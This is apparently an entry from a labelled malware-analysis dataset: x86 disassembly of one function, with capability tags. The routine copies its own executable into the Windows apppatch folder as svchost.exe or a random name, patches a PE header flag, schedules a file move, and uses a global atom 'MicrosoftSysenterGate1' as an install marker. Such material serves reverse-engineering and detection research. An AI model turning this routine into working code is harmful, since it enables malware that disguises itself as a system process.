Function at 0x402a30
Capabilities:
Access pe header
Check if file exists
Copy file
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x32c
push ebx
xor eax, eax
push esi
push edi
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
push 0x1c
lea eax, [ebp - 0x20]
push eax
xor ebx, ebx
push 0x402000
mov dword [ebp - 0x20], ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [ebp - 0x1c]
push 0x104
lea ecx, [ebp - 0x228]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.004011b0
xor eax, eax
jmp 0x402a90
mov cl, byte [eax + 0x45a130]
mov byte [ebp + eax - 0x124], cl
inc eax
cmp cl, bl
jne 0x402a90
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x402bc9
push 0x104
lea ecx, [ebp - 0x124]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
lea eax, [ebp - 0x124]
dec eax
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x402ad0
mov edx, dword [str._apppatch_]
mov ecx, dword [0x404e64]
mov dword [eax], edx
mov dx, word [0x404e68]
mov dword [eax + 4], ecx
mov cl, byte [0x404e6a]
mov word [eax + 8], dx
push 0x404540
mov byte [eax + 0xa], cl
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, ebx
je 0x402b2e
push 0x404550
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
cmp esi, ebx
je 0x402b2e
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 4], ebx
je 0x402b64
lea eax, [ebp - 0x124]
dec eax
lea ebx, [ebx]
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x402b40
mov ecx, dword [str.svchost.exe]
mov edx, dword [0x404e70]
mov dword [eax], ecx
mov ecx, dword [0x404e74]
mov dword [eax + 4], edx
mov dword [eax + 8], ecx
jmp 0x402bc9
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00401690
and eax, 1
add eax, 6
push eax
call fcn.004019b0
mov edx, eax
mov edi, edi
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402b80
lea edi, [ebp - 0x124]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x402b90
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x124]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x402bb0
mov edx, dword [0x404e78]
mov cl, byte [0x404e7c]
mov dword [eax], edx
mov byte [eax + 4], cl
lea edx, [ebp - 0x124]
push edx
push 0x404e80
lea eax, [ebp - 0x32c]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
push 1
lea ecx, [ebp - 0x124]
push ecx
lea edx, [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402cfc
lea esi, [ebp - 0x124]
call section..text
mov eax, esi
push eax
call fcn.00401e70
lea ecx, [ebp - 4]
push ecx
mov eax, esi
call fcn.00401450
mov esi, eax
cmp esi, ebx
je 0x402c71
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
cmp eax, ebx
je 0x402c51
mov edx, 0xdfff
and word [eax + 0x16], dx
mov ebx, dword [ebp - 4]
push esi
lea eax, [ebp - 0x124]
call fcn.00401370
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x402c71
push esi
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea eax, [ebp - 0x124]
push eax
call fcn.00401f30
push 4
lea ecx, [ebp - 0x124]
push ecx
lea edx, [ebp - 0x32c]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0x404540
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, ebx
je 0x402cc4
push 0x404550
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
cmp esi, ebx
je 0x402cc4
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 4], ebx
je 0x402cd5
lea ecx, [ebp - 0x124]
push ecx
call fcn.00401a40
push str.MicrosoftSysenterGate1
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
je 0x402cf1
call fcn.004015b0
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.MicrosoftSysenterGate1
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret